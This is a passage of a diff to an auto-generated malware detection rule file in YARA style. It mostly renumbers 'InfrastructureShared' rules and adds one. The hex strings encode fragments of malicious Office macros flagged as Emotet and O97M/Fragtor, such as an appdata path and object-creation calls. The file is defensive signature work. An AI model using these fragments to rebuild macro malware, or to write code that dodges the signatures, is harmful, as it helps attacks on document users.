1)*23649+(#a_4d_3 & 1)*8448+(#a_90_4 & 1)*28674) >=5 } -rule _InfrastructureShared_23906{ +rule _InfrastructureShared_25192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311455,7 +327950,7 @@ rule _InfrastructureShared_23906{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_20_2 & 1)*7168+(#a_53_3 & 1)*24933+(#a_6d_4 & 1)*29541) >=5 } -rule _InfrastructureShared_23907{ +rule _InfrastructureShared_25193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311469,7 +327964,7 @@ rule _InfrastructureShared_23907{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28773+(#a_65_2 & 1)*28257+(#a_4d_3 & 1)*22098+(#a_61_4 & 1)*25701) >=5 } -rule _InfrastructureShared_23908{ +rule _InfrastructureShared_25194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311481,7 +327976,7 @@ rule _InfrastructureShared_23908{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*8738+(#a_73_2 & 1)*12334) >=3 } -rule _InfrastructureShared_23909{ +rule _InfrastructureShared_25195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311493,7 +327988,7 @@ rule _InfrastructureShared_23909{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674+(#a_6f_2 & 1)*29795) >=3 } -rule _InfrastructureShared_23910{ +rule _InfrastructureShared_25196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311505,7 +328000,7 @@ rule _InfrastructureShared_23910{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6f_2 & 1)*29443) >=3 } -rule _InfrastructureShared_23911{ +rule _InfrastructureShared_25197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311518,7 +328013,7 @@ rule _InfrastructureShared_23911{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*30240+(#a_74_2 & 1)*25970+(#a_2f_3 & 1)*14137) >=4 } -rule _InfrastructureShared_23912{ +rule _InfrastructureShared_25198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311530,7 +328025,7 @@ rule _InfrastructureShared_23912{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*21038+(#a_22_2 & 1)*26478) >=4 } -rule _InfrastructureShared_23913{ +rule _InfrastructureShared_25199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311543,7 +328038,7 @@ rule _InfrastructureShared_23913{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*12032+(#a_3d_3 & 1)*8194) >=4 } -rule _InfrastructureShared_23914{ +rule _InfrastructureShared_25200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311556,7 +328051,7 @@ rule _InfrastructureShared_23914{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6f_2 & 1)*29443+(#a_02_3 & 1)*8236) >=4 } -rule _InfrastructureShared_23915{ +rule _InfrastructureShared_25201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311569,7 +328064,7 @@ rule _InfrastructureShared_23915{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11885+(#a_3a_2 & 1)*16128+(#a_3a_3 & 1)*14906) >=5 } -rule _InfrastructureShared_23916{ +rule _InfrastructureShared_25202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -311584,7 +328079,7 @@ rule _InfrastructureShared_23916{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*17251+(#a_46_2 & 1)*29813+(#a_28_3 & 1)*25955+(#a_65_4 & 1)*25890+(#a_20_5 & 1)*29800) >=6 } -rule _InfrastructureShared_23917{ +rule _InfrastructureShared_25203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -311595,7 +328090,7 @@ rule _InfrastructureShared_23917{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*19759) >=1 } -rule _InfrastructureShared_23918{ +rule _InfrastructureShared_25204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 04 00 21 " @@ -311608,7 +328103,7 @@ rule _InfrastructureShared_23918{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*25940+(#a_6d_2 & 1)*17408+(#a_75_3 & 1)*21056) >=1 } -rule _InfrastructureShared_23919{ +rule _InfrastructureShared_25205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311620,7 +328115,7 @@ rule _InfrastructureShared_23919{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*656) >=3 } -rule _InfrastructureShared_23920{ +rule _InfrastructureShared_25206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311632,7 +328127,7 @@ rule _InfrastructureShared_23920{ ((#a_53_0 & 1)*19747+(#a_41_1 & 1)*26740+(#a_63_2 & 1)*17523) >=3 } -rule _InfrastructureShared_23921{ +rule _InfrastructureShared_25207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311644,7 +328139,7 @@ rule _InfrastructureShared_23921{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*28674+(#a_2e_3 & 1)*14592) >=4 } -rule _InfrastructureShared_23922{ +rule _InfrastructureShared_25208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311656,7 +328151,7 @@ rule _InfrastructureShared_23922{ ((#a_53_0 & 1)*19747+(#a_77_1 & 1)*656+(#a_46_3 & 1)*9984) >=4 } -rule _InfrastructureShared_23923{ +rule _InfrastructureShared_25209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311669,7 +328164,7 @@ rule _InfrastructureShared_23923{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_2b_2 & 1)*11520+(#a_02_3 & 1)*10276) >=4 } -rule _InfrastructureShared_23924{ +rule _InfrastructureShared_25210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 07 00 21 " @@ -311684,7 +328179,7 @@ rule _InfrastructureShared_23924{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*28524+(#a_22_2 & 1)*29811+(#a_62_3 & 1)*17408+(#a_90_4 & 1)*29300+(#a_6e_5 & 1)*656) >=4 } -rule _InfrastructureShared_23925{ +rule _InfrastructureShared_25211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -311695,7 +328190,7 @@ rule _InfrastructureShared_23925{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*25924) >=2 } -rule _InfrastructureShared_23926{ +rule _InfrastructureShared_25212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -311706,7 +328201,7 @@ rule _InfrastructureShared_23926{ ((#a_4c_0 & 1)*21539+(#a_2d_1 & 1)*1028) >=2 } -rule _InfrastructureShared_23927{ +rule _InfrastructureShared_25213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311718,7 +328213,7 @@ rule _InfrastructureShared_23927{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8235+(#a_20_2 & 1)*8784) >=3 } -rule _InfrastructureShared_23928{ +rule _InfrastructureShared_25214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311731,7 +328226,7 @@ rule _InfrastructureShared_23928{ ((#a_46_0 & 1)*16675+(#a_06_1 & 1)*-28640+(#a_73_2 & 1)*24902+(#a_70_3 & 1)*29803) >=4 } -rule _InfrastructureShared_23929{ +rule _InfrastructureShared_25215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311744,7 +328239,7 @@ rule _InfrastructureShared_23929{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*16386+(#a_02_2 & 1)*29504+(#a_48_3 & 1)*8993) >=4 } -rule _InfrastructureShared_23930{ +rule _InfrastructureShared_25216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -311754,7 +328249,7 @@ rule _InfrastructureShared_23930{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23931{ +rule _InfrastructureShared_25217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -311765,19 +328260,31 @@ rule _InfrastructureShared_23931{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*25445) >=2 } -rule _InfrastructureShared_23932{ +rule _InfrastructureShared_25218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_53_0 = {52 3a 45 6d 6f 74 65 74 2e 43 41 54 21 4d 54 42 00 01 00 83 03 45 6e 64 20 49 66 90 02 30 20 3d 20 22 90 02 70 77 90 02 40 69 90 02 40 6e 90 02 40 6d 90 02 70 67 90 02 40 6d 90 02 40 74 90 02 70 22 20 2b 20 90 02 30 } //19747 $a_22_1 = {02 70 3a 90 02 40 77 90 02 40 69 90 02 40 6e 90 02 70 33 90 02 40 32 90 02 40 5f 90 02 40 22 20 } //11040 - $a_02_2 = {30 2e 90 02 30 20 2b 20 22 90 02 40 72 90 02 40 6f 90 02 70 63 90 02 40 65 90 02 40 73 90 02 40 73 90 02 50 22 90 00 01 00 27 03 45 6e 64 20 49 66 90 02 30 20 3d 20 90 02 30 2e 48 65 6c 70 43 6f 6e 74 65 78 74 49 64 20 2b 20 90 02 05 20 2b 90 00 01 00 31 03 3d 20 41 72 72 61 79 28 90 02 25 20 2b 20 22 90 02 60 22 2c 20 90 02 25 2e 43 72 65 61 74 65 28 90 02 25 2c 20 90 02 25 2c 20 90 02 25 29 2c 90 00 00 00 8f 06 01 00 04 00 04 } //8235 + $a_02_2 = {30 2e 90 02 30 20 2b 20 22 90 02 40 72 90 02 40 6f 90 02 70 63 90 02 40 65 90 02 40 73 90 02 40 73 90 02 50 22 90 00 01 00 27 03 45 6e 64 20 49 66 90 02 30 20 3d 20 90 02 30 2e 48 65 6c 70 43 6f 6e 74 65 78 74 49 64 20 2b 20 90 02 05 20 2b 90 00 01 00 31 03 3d 20 41 72 72 61 79 28 90 02 25 20 2b 20 22 90 02 60 22 2c 20 90 02 25 2e 43 72 65 61 74 65 28 90 02 25 2c 20 90 02 25 2c 20 90 02 25 29 2c 90 00 00 00 8f 06 01 00 03 00 03 } //8235 condition: ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11040+(#a_02_2 & 1)*8235) >=3 } -rule _InfrastructureShared_23933{ +rule _InfrastructureShared_25219{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_53_0 = {52 3a 4f 39 37 4d 2f 46 72 61 67 74 6f 72 2e 41 42 31 30 31 21 4d 54 42 00 01 00 54 03 75 6e 63 74 69 6f 6e 90 02 20 28 29 90 1b 00 3d 90 1b 00 26 22 37 37 39 30 31 34 34 30 33 30 30 30 34 30 30 30 32 35 35 32 35 35 } //19747 + $a_38_1 = {30 30 30 30 30 30 30 36 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 22 90 1b 00 3d 90 00 01 00 68 03 61 73 73 74 72 69 6e 67 90 } //12336 + $a_22_2 = {69 63 72 6f 73 6f 66 74 65 64 6d 70 61 79 62 61 63 6b 22 64 69 6d 90 02 20 61 73 73 74 72 69 6e 67 90 1b 01 3d 65 6e 76 69 72 6f 6e 28 22 61 70 70 64 61 74 61 22 29 26 22 5c 6d 69 63 } //8194 + condition: + ((#a_53_0 & 1)*19747+(#a_38_1 & 1)*12336+(#a_22_2 & 1)*8194) >=3 + +} +rule _InfrastructureShared_25220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311790,7 +328297,7 @@ rule _InfrastructureShared_23933{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29537+(#a_20_2 & 1)*29281+(#a_61_3 & 1)*29810) >=4 } -rule _InfrastructureShared_23934{ +rule _InfrastructureShared_25221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311803,7 +328310,7 @@ rule _InfrastructureShared_23934{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_02_3 & 1)*1) >=4 } -rule _InfrastructureShared_23935{ +rule _InfrastructureShared_25222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311817,7 +328324,7 @@ rule _InfrastructureShared_23935{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25407+(#a_72_2 & 1)*29480+(#a_20_3 & 1)*656+(#a_2b_4 & 1)*8768) >=5 } -rule _InfrastructureShared_23936{ +rule _InfrastructureShared_25223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311831,7 +328338,7 @@ rule _InfrastructureShared_23936{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*16386+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_23937{ +rule _InfrastructureShared_25224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -311846,7 +328353,7 @@ rule _InfrastructureShared_23937{ ((#a_53_0 & 1)*19747+(#a_26_1 & 1)*27753+(#a_67_2 & 1)*9760+(#a_22_3 & 1)*8736+(#a_53_4 & 1)*15648+(#a_37_5 & 1)*20282) >=6 } -rule _InfrastructureShared_23938{ +rule _InfrastructureShared_25225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 05 00 21 " @@ -311860,7 +328367,7 @@ rule _InfrastructureShared_23938{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*24946+(#a_6f_2 & 1)*20512+(#a_02_3 & 1)*28007+(#a_20_4 & 1)*8224) >=2 } -rule _InfrastructureShared_23939{ +rule _InfrastructureShared_25226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311872,7 +328379,7 @@ rule _InfrastructureShared_23939{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_4d_2 & 1)*15619) >=3 } -rule _InfrastructureShared_23940{ +rule _InfrastructureShared_25227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311884,7 +328391,7 @@ rule _InfrastructureShared_23940{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*11523+(#a_74_2 & 1)*8236) >=3 } -rule _InfrastructureShared_23941{ +rule _InfrastructureShared_25228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311897,7 +328404,7 @@ rule _InfrastructureShared_23941{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*656+(#a_02_2 & 1)*8736+(#a_53_3 & 1)*19747) >=4 } -rule _InfrastructureShared_23942{ +rule _InfrastructureShared_25229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -311910,7 +328417,7 @@ rule _InfrastructureShared_23942{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6e_2 & 1)*17923+(#a_01_3 & 1)*-28928) >=4 } -rule _InfrastructureShared_23943{ +rule _InfrastructureShared_25230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311923,7 +328430,7 @@ rule _InfrastructureShared_23943{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*8736+(#a_73_3 & 1)*28483+(#a_2e_4 & 1)*28484) >=5 } -rule _InfrastructureShared_23944{ +rule _InfrastructureShared_25231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -311937,7 +328444,7 @@ rule _InfrastructureShared_23944{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*11040+(#a_22_2 & 1)*11274+(#a_6f_3 & 1)*29797+(#a_00_4 & 1)*6) >=5 } -rule _InfrastructureShared_23945{ +rule _InfrastructureShared_25232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -311951,7 +328458,7 @@ rule _InfrastructureShared_23945{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*27756+(#a_58_2 & 1)*15617+(#a_43_3 & 1)*10548+(#a_73_4 & 1)*29555) >=6 } -rule _InfrastructureShared_23946{ +rule _InfrastructureShared_25233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -311968,7 +328475,7 @@ rule _InfrastructureShared_23946{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=8 } -rule _InfrastructureShared_23947{ +rule _InfrastructureShared_25234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311980,7 +328487,7 @@ rule _InfrastructureShared_23947{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638) >=3 } -rule _InfrastructureShared_23948{ +rule _InfrastructureShared_25235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -311991,7 +328498,7 @@ rule _InfrastructureShared_23948{ ((#a_53_0 & 1)*19747+(#a_3a_1 & 1)*656) >=3 } -rule _InfrastructureShared_23949{ +rule _InfrastructureShared_25236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312003,7 +328510,7 @@ rule _InfrastructureShared_23949{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_6e_2 & 1)*17923) >=3 } -rule _InfrastructureShared_23950{ +rule _InfrastructureShared_25237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312015,7 +328522,7 @@ rule _InfrastructureShared_23950{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_2b_2 & 1)*8194) >=4 } -rule _InfrastructureShared_23951{ +rule _InfrastructureShared_25238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312028,7 +328535,7 @@ rule _InfrastructureShared_23951{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*9216+(#a_3d_3 & 1)*8194) >=4 } -rule _InfrastructureShared_23952{ +rule _InfrastructureShared_25239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 05 00 21 " @@ -312041,7 +328548,7 @@ rule _InfrastructureShared_23952{ ((#a_46_0 & 1)*16675+(#a_67_2 & 1)*24914+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1) >=4 } -rule _InfrastructureShared_23953{ +rule _InfrastructureShared_25240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -312055,7 +328562,7 @@ rule _InfrastructureShared_23953{ ((#a_53_0 & 1)*19747+(#a_20_2 & 1)*7424+(#a_69_3 & 1)*656+(#a_63_4 & 1)*27760+(#a_43_5 & 1)*793) >=6 } -rule _InfrastructureShared_23954{ +rule _InfrastructureShared_25241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 08 00 21 " @@ -312071,7 +328578,7 @@ rule _InfrastructureShared_23954{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*8312+(#a_78_2 & 1)*11840+(#a_23_3 & 1)*2+(#a_65_5 & 1)*17184+(#a_65_6 & 1)*25167+(#a_54_7 & 1)*18509) >=6 } -rule _InfrastructureShared_23955{ +rule _InfrastructureShared_25242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -312082,7 +328589,7 @@ rule _InfrastructureShared_23955{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*26991) >=1 } -rule _InfrastructureShared_23956{ +rule _InfrastructureShared_25243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 06 00 21 " @@ -312096,7 +328603,7 @@ rule _InfrastructureShared_23956{ ((#a_53_0 & 1)*19747+(#a_73_1 & 1)*7424+(#a_73_2 & 1)*29537+(#a_00_4 & 1)*105+(#a_62_5 & 1)*21280) >=1 } -rule _InfrastructureShared_23957{ +rule _InfrastructureShared_25244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312108,7 +328615,7 @@ rule _InfrastructureShared_23957{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*31060+(#a_73_2 & 1)*25933) >=3 } -rule _InfrastructureShared_23958{ +rule _InfrastructureShared_25245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312120,7 +328627,7 @@ rule _InfrastructureShared_23958{ ((#a_53_0 & 1)*19747+(#a_31_1 & 1)*14381+(#a_72_2 & 1)*8754) >=3 } -rule _InfrastructureShared_23959{ +rule _InfrastructureShared_25246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312133,7 +328640,7 @@ rule _InfrastructureShared_23959{ ((#a_53_0 & 1)*19747+(#a_42_1 & 1)*30821+(#a_06_2 & 1)*-28638+(#a_4f_3 & 1)*8236) >=4 } -rule _InfrastructureShared_23960{ +rule _InfrastructureShared_25247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312146,7 +328653,7 @@ rule _InfrastructureShared_23960{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_23961{ +rule _InfrastructureShared_25248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312160,7 +328667,7 @@ rule _InfrastructureShared_23961{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*25646+(#a_74_2 & 1)*20585+(#a_65_3 & 1)*27765+(#a_74_4 & 1)*21621) >=5 } -rule _InfrastructureShared_23962{ +rule _InfrastructureShared_25249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -312171,7 +328678,7 @@ rule _InfrastructureShared_23962{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*25173) >=2 } -rule _InfrastructureShared_23963{ +rule _InfrastructureShared_25250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312183,7 +328690,7 @@ rule _InfrastructureShared_23963{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_50_2 & 1)*24832) >=3 } -rule _InfrastructureShared_23964{ +rule _InfrastructureShared_25251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312195,7 +328702,7 @@ rule _InfrastructureShared_23964{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*12290+(#a_53_2 & 1)*24832) >=3 } -rule _InfrastructureShared_23965{ +rule _InfrastructureShared_25252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312207,7 +328714,7 @@ rule _InfrastructureShared_23965{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*5378+(#a_20_2 & 1)*20227) >=3 } -rule _InfrastructureShared_23966{ +rule _InfrastructureShared_25253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312219,7 +328726,7 @@ rule _InfrastructureShared_23966{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_20_2 & 1)*28229) >=3 } -rule _InfrastructureShared_23967{ +rule _InfrastructureShared_25254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312231,7 +328738,7 @@ rule _InfrastructureShared_23967{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_4e_2 & 1)*25965) >=4 } -rule _InfrastructureShared_23968{ +rule _InfrastructureShared_25255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312245,7 +328752,7 @@ rule _InfrastructureShared_23968{ ((#a_53_0 & 1)*19747+(#a_6a_1 & 1)*27424+(#a_22_2 & 1)*26470+(#a_74_3 & 1)*27000+(#a_73_4 & 1)*29185) >=5 } -rule _InfrastructureShared_23969{ +rule _InfrastructureShared_25256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -312259,7 +328766,7 @@ rule _InfrastructureShared_23969{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_23970{ +rule _InfrastructureShared_25257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -312274,7 +328781,7 @@ rule _InfrastructureShared_23970{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*26740+(#a_64_2 & 1)*9760+(#a_61_3 & 1)*8236+(#a_29_4 & 1)*12334+(#a_45_5 & 1)*8993) >=5 } -rule _InfrastructureShared_23971{ +rule _InfrastructureShared_25258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -312293,7 +328800,7 @@ rule _InfrastructureShared_23971{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*27745+(#a_61_2 & 1)*31233+(#a_6f_4 & 1)*9985+(#a_3d_5 & 1)*12290+(#a_20_6 & 1)*8226+(#a_02_7 & 1)*11824+(#a_00_8 & 1)*3+(#a_53_9 & 1)*19747+(#a_20_10 & 1)*656) >=11 } -rule _InfrastructureShared_23972{ +rule _InfrastructureShared_25259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312305,7 +328812,7 @@ rule _InfrastructureShared_23972{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*8736+(#a_90_2 & 1)*25972) >=3 } -rule _InfrastructureShared_23973{ +rule _InfrastructureShared_25260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -312317,7 +328824,7 @@ rule _InfrastructureShared_23973{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*656+(#a_75_2 & 1)*28484) >=3 } -rule _InfrastructureShared_23974{ +rule _InfrastructureShared_25261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -312330,7 +328837,7 @@ rule _InfrastructureShared_23974{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*-28640+(#a_70_2 & 1)*-28638+(#a_02_3 & 1)*30528) >=4 } -rule _InfrastructureShared_23975{ +rule _InfrastructureShared_25262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -312344,7 +328851,7 @@ rule _InfrastructureShared_23975{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29807+(#a_65_3 & 1)*24941+(#a_00_4 & 1)*8820+(#a_3d_5 & 1)*30465) >=6 } -rule _InfrastructureShared_23976{ +rule 